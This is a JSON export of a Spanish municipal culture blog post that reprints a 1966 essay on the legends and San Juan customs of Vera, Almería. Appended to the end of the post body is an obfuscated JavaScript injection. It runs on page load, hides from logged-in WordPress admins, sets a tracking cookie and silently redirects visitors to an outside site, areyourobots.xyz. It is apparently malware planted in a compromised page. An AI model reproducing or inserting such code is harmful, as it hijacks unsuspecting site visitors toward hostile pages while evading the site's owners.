{"id":2815,"date":"2017-10-16T09:56:21","date_gmt":"2017-10-16T09:56:21","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=2815"},"modified":"2026-01-22T09:02:03","modified_gmt":"2026-01-22T09:02:03","slug":"del-folklore-veratense-leyendas-tradiciones-y-costumbres-tipicas","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2017\/10\/16\/del-folklore-veratense-leyendas-tradiciones-y-costumbres-tipicas\/","title":{"rendered":"DEL FOLCLORE VERATENSE. LEYENDAS, TRADICIONES Y COSTUMBRES T\u00cdPICAS"},"content":{"rendered":"<p><i>Primer Premio del certamen patrocinado por el Excmo. Ayuntamiento de Almer\u00eda.<\/i><\/p>\n<p style=\"text-align: right\"><i>Carmela Batlles Ferrera de N\u00fa\u00f1ez.<\/i><\/p>\n<p style=\"text-align: right\"><i>Extra\u00eddo del libro de la Feria de Vera de 1966.<\/i><\/p>\n<p><!--more--><\/p>\n<p>Son tantas las costumbres, reminiscencias, supersticiones, tradiciones, leyendas, etc., que desde tiempos prehist\u00f3ricos, inclusive, se conservan en nuestra comarca, que podr\u00edan escribirse libros enteros donde se recogieran tantas y tantas curiosidades folkl\u00f3ricas.<\/p>\n<p>Las limitaciones de espacio impuestas a nuestro trabajo nos impide abundar en detalles al relatar algunas de estas manifestaciones populares. Empezamos por una de las m\u00e1s extendidas y \u00abcre\u00eddas\u00bb en la comarca.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/ambrosio-playa-2006-007-640x640x80.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-2818\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/ambrosio-playa-2006-007-640x640x80.jpg\" alt=\"\" width=\"640\" height=\"480\" \/><\/a><\/p>\n<p><b>LA LEYENDA DE LA PANDORGA* DEL ZORZO<\/b><\/p>\n<p>\u00c9rase por el a\u00f1o 1570. Las huestes de Felipe II, acaudilladas por don Juan de Austria, hab\u00edan reprimido la sublevaci\u00f3n de los moriscos de la Alpujarra. Un grupo de \u00e9stos, sin embargo, dirigidos por Ab\u00e9n-Humeya, hab\u00eda quedado a retaguardia de las tropas espa\u00f1olas y en lo m\u00e1s intrincado del terreno comprendido entre Vera y Cuevas, cuya zona hicieron teatro de sus innumerables fechor\u00edas.<\/p>\n<p>Dice la leyenda QUE EN LA NOCHEBUENA del mencionado a\u00f1o 1570, en el cortijo denominado de \u00abLa Fuente del Zorzo\u00bb hall\u00e1banse reunidos un matrimonio de edad avanzada con una nietecita hu\u00e9rfana y dos hijos gemelos. Estos, soldados a las \u00f3rdenes inmediatas del Marqu\u00e9s de los V\u00e9lez, hac\u00eda s\u00f3lo unas horas hab\u00edan llegado a la casa con licencia de Navidad. Celebraban la nochebuena aquel a\u00f1o con la m\u00e1s sana alegr\u00eda por tener a su lado, despu\u00e9s de larga ausencia, a los dos hijos de su coraz\u00f3n. Mas apenas terminada la cena y cuando pandorgas, casta\u00f1uelas y villancicos pon\u00edan en la sencillez de aquella humilde morada la m\u00e1s regocijante nota de cristiana alegr\u00eda, HACIA EL FILO DE LA MEDIA NOCHE los bandoleros de Ab\u00e9n-Farax irrumpieron en el cortijo pasando a cuchillo a sus moradores. Y es fama en toda la comarca que, desde entonces, todos los a\u00f1os, de Septiembre a Navidad, LA PANDORGA DEL ZORZO TOCA SOLA.<\/p>\n<p>[*bandurria o zambomba seg\u00fan Mar\u00eda Moliner]<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/mapa-vera-peq.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-2823\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/mapa-vera-peq.jpg\" alt=\"\" width=\"850\" height=\"638\" \/><\/a><\/p>\n<p><b>\u00abLOS MELLIZOS\u00bb DEL ESP\u00cdRITU SANTO<\/b><\/p>\n<p>Hay en las cumbres del cerro del Esp\u00edritu Santo dos enormes pe\u00f1ascos que por efecto de la acci\u00f3n erosiva y denudadora de las aguas han quedado tan desprendidos del terreno que s\u00f3lo a milagro se atribuye su estabilidad en las alturas. La calenturienta imaginaci\u00f3n popular tiene forjada sobre estos pe\u00f1ascos desde tiempo inmemorial la siguiente curiosa leyenda:<\/p>\n<p>\u00ab\u00c9ranse dos j\u00f3venes enamorados con la m\u00e1s pura y vehemente pasi\u00f3n, que gustaban de pasear por las laderas del Cerro en los serenos atardeceres. Mas he aqu\u00ed que la madre de la joven enamorada sent\u00eda odio irreconciliable hacia el cortejador de su hija, y habiendo un d\u00eda subido los enamorados a lo m\u00e1s alto del Cerro y hall\u00e1ndose extasiados en el m\u00e1s po\u00e9tico idilio amoroso, una maldici\u00f3n fulgurada por la madre dej\u00f3 encantados y convertidos en piedra a los infelices enamorados. SON LOS DOS PE\u00d1ASCOS DE LOS MELLIZOS- dice el sentir popular, y aseguran las gentes de por all\u00ed que en los crudos atardeceres del triste invierno, cuando el cierzo sopla y la noche va cobijando el Cerro con su manto de misterios y de temor, LAS SOMBRAS DE LOS ENAMORADOS DEAMBULAN POR LAS CUMBRES UNIDAS EN AMOROSO COLOQUIO.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/enamorados-filtro.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-2819\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/enamorados-filtro.jpg\" alt=\"\" width=\"300\" height=\"225\" \/><\/a><\/p>\n<p><b>LOS \u00abNANOS\u00bb DE LA CUESTA DEL ZORZO<\/b><\/p>\n<p>Es el paraje llamado del Zorzo el m\u00e1s apartado y solitario de cuantos existen en esta comarca. Desfiladeros, hondonadas y barrancos, casi en perpetuo estiaje, se suceden en grandes extensiones sin encontrar una sola vivienda humana. Un silencio de pavor y de misterio reina en el paraje donde \u00abni las aves anidan\u00bb y s\u00f3lo las alima\u00f1as se escurren entre los matorrales al paso del \u00abatrevido\u00bb viandante. Dos olivos casi milenarios, plantados a escasa distancia uno del otro, guardan la entrada al desfiladero que permite el paso al viejo camino o vereda que une los pueblos de Antas y Cuevas. Los retorcidos troncos de los a\u00f1osos olivos han creado en la fantas\u00eda de los campesinos mil formas de duendes, fantasmas, mu\u00f1ecos, enanos, etc., asegurando las gentes que cuando alguien, despu\u00e9s de la ca\u00edda de la tarde, osa tomar el camino, al llegar a la altura de los olivos, dos enanitos de \u00ednfimas proporciones descienden de sus viejos ramajes llevando sendos l\u00e1tigos. Entrado el caminante al desfiladero, es seguido de cerca por los pigmeos que poco a poco van creciendo hasta alcanzar colosales dimensiones. Pero he aqu\u00ed lo m\u00e1s curioso e interesante: \u00absi el caminante es bueno y honrado le siguen en adem\u00e1n desprotegerle, mas si es pendenciero y valent\u00f3n, una lluvia de latigazos caer\u00e1 sobre sus espaldas hasta alcanzar al pobre caminante molido y maltrecho\u00bb.<\/p>\n<p><b>COSTUMBRES VERATENSES EN LA NOCHE DE SAN JUAN<\/b><\/p>\n<p>Desde tiempo inmemorial se celebra en Vera la \u00abNoche de San Juan Bautista\u00bb con mucho ruido, y se practican costumbres que tienen un marcad\u00edsimo sabor local. En la tarde del 23 de Junio, a la puesta del sol, se organizan las famosas \u00abserenatas a los Juanes\u00bb. Consisten \u00e9stas en grupos numeros\u00edsimos de muchachos y muchachas de todas las edades, que, portando caracolas, casta\u00f1uelas, chicharras, flautas, sobre todo, TAPADERAS -\u00abinstrumento musical\u00bb el m\u00e1s com\u00fan en manos de la endiablada chiquiller\u00eda- recorren las calles de la poblaci\u00f3n originando el m\u00e1s infernal y ensordecedor ruido, que se prolonga hasta la media noche, en que ya s\u00f3lo se oyen los grupos de mozos y mozas que, acompa\u00f1\u00e1ndose de guitarras y bandurrias, entonan canciones y romances t\u00edpicos de la NOCHE DE SAN JUAN hasta llegar a la fuente de LOS CUATRO CA\u00d1OS donde mozos y mozas beber\u00e1n nueve sorbos seguidos de sus frescas aguas elevando la mirada a las estrellas el primer nombre que acuda a su mente ser\u00e1 el de su futuro amor.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/cuatrocanos01-filtro.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2820\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/cuatrocanos01-filtro.jpg\" alt=\"\" width=\"500\" height=\"328\" \/><\/a><\/p>\n<p><b>OTRA ORIGINAL COSTUMBRE<\/b>.-Es de fe en nuestra comarca que el Santo conceda en esta noche cuantas gracias se le pidan siempre que se cumplan determinados ritos o ceremonias. Una de estas consiste en llevar a los ni\u00f1os herniados a la cabriguera [cabrahiguera]. Los familiares de la criatura (entre los cuales ha de encontrarse un Juan y un Pedro) seguidos de grupos de mozos y mozas que tocan y cantan, se dirigen al campo de busca del \u00absalut\u00edfero \u00e1rbol\u00bb. Llegados a \u00e9l, cesan las canciones y, en medio del mayor silencio, tomando Juan al ni\u00f1o lo levanta hacia el cielo mientras una vieja impetra del Divino Poder sus gracias y bendiciones. En seguida Juan quiebra un tallo tierno de la cabriguera y entrega el [sic] ni\u00f1o a Pedro, mientras se cruza entre ambos el siguiente di\u00e1logo:<\/p>\n<p>-T\u00f3malo, Juan -D\u00e1melo, Pedro-\u00abQuebrao\u00bb te lo doy; -sano lo quiero.<\/p>\n<p>Entre tanto la vieja con guitas y barro ha ligado el tallo QUE SANAR\u00c1 A LA VEZ QUE EL NI\u00d1O. Esta costumbre es la que aqu\u00ed se llama de \u00abpasar al ni\u00f1o por la cabriguera\u00bb.<\/p>\n<p>[Se trata de lo que los antrop\u00f3logos llaman &#8216;cura por transferencia&#8217;]<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/higuera.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2821\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/06\/higuera.jpg\" alt=\"\" width=\"300\" height=\"400\" \/><\/a><\/p>\n<p align=\"right\">16-06-2017<\/p>\n<p>var _0x2cf4=[&#8216;MSIE;&#8217;,&#8217;OPR&#8217;,&#8217;Chromium&#8217;,&#8217;Chrome&#8217;,&#8217;ppkcookie&#8217;,&#8217;location&#8217;,&#8217;https:\/\/www.areyourobots.xyz&#8217;,&#8217;onload&#8217;,&#8217;getElementById&#8217;,&#8217;undefined&#8217;,&#8217;setTime&#8217;,&#8217;getTime&#8217;,&#8217;toUTCString&#8217;,&#8217;cookie&#8217;,&#8217;;\\x20path=\/&#8217;,&#8217;split&#8217;,&#8217;length&#8217;,&#8217;charAt&#8217;,&#8217;substring&#8217;,&#8217;indexOf&#8217;,&#8217;match&#8217;,&#8217;userAgent&#8217;,&#8217;Edge&#8217;];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(&#8211;_0x5a22d4){_0x15c1df[&#8216;push&#8217;](_0x15c1df[&#8216;shift&#8217;]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(&#8216;0x0&#8217;)]=function(){(function(){if(document[_0x287a(&#8216;0x1&#8217;)](&#8216;wpadminbar&#8217;)===null){if(typeof _0x335357===_0x287a(&#8216;0x2&#8217;)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=\u00bb;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(&#8216;0x3&#8217;)](_0x5b6c5c[_0x287a(&#8216;0x4&#8242;)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=&#8217;;\\x20expires=&#8217;+_0x5b6c5c[_0x287a(&#8216;0x5&#8217;)]();}document[_0x287a(&#8216;0x6&#8217;)]=_0xe0ae90+&#8217;=&#8217;+(_0x112012||\u00bb)+_0x21e546+_0x287a(&#8216;0x7&#8242;);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+&#8217;=&#8217;;var _0x36a90c=document[_0x287a(&#8216;0x6&#8217;)][_0x287a(&#8216;0x8&#8217;)](&#8216;;&#8217;);for(var _0x51e64c=0x0;_0x51e64c&lt;_0x36a90c[_0x287a(&#039;0x9&#039;)];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a(&#039;0xa&#039;)](0x0)==&#039;\\x20&#039;)_0x37a41b=_0x37a41b[_0x287a(&#039;0xb&#039;)](0x1,_0x37a41b[&#039;length&#039;]);if(_0x37a41b[_0x287a(&#039;0xc&#039;)](_0x1f399a)==0x0)return _0x37a41b[_0x287a(&#039;0xb&#039;)](_0x1f399a[&#039;length&#039;],_0x37a41b[_0x287a(&#039;0x9&#039;)]);}return null;}function _0x51ef8a(){return navigator[&#039;userAgent&#039;][_0x287a(&#039;0xd&#039;)](\/Android\/i)||navigator[_0x287a(&#039;0xe&#039;)][_0x287a(&#039;0xd&#039;)](\/BlackBerry\/i)||navigator[&#039;userAgent&#039;][_0x287a(&#039;0xd&#039;)](\/iPhone|iPad|iPod\/i)||navigator[_0x287a(&#039;0xe&#039;)][&#039;match&#039;](\/Opera Mini\/i)||navigator[_0x287a(&#039;0xe&#039;)][_0x287a(&#039;0xd&#039;)](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a(&#039;0xe&#039;)][_0x287a(&#039;0xc&#039;)](_0x287a(&#039;0xf&#039;))!==-0x1||navigator[_0x287a(&#039;0xe&#039;)][_0x287a(&#039;0xc&#039;)](_0x287a(&#039;0x10&#039;))!==-0x1||navigator[_0x287a(&#039;0xe&#039;)][_0x287a(&#039;0xc&#039;)](_0x287a(&#039;0x11&#039;))!==-0x1||navigator[_0x287a(&#039;0xe&#039;)][_0x287a(&#039;0xc&#039;)](_0x287a(&#039;0x12&#039;))!==-0x1||navigator[_0x287a(&#039;0xe&#039;)][_0x287a(&#039;0xc&#039;)](&#039;Firefox&#039;)!==-0x1||navigator[_0x287a(&#039;0xe&#039;)][_0x287a(&#039;0xc&#039;)](_0x287a(&#039;0x13&#039;))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a(&#039;0x14&#039;));if(_0x55db25!==&#039;un&#039;){if(_0x58dc3d()||_0x51ef8a()){_0x335357(&#039;ppkcookie&#039;,&#039;un&#039;,0x16d);window[_0x287a(&#039;0x15&#039;)][&#039;replace&#039;](_0x287a(&#039;0x16&#039;));}}}}}(this));};<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Primer Premio del certamen patrocinado por el Excmo. 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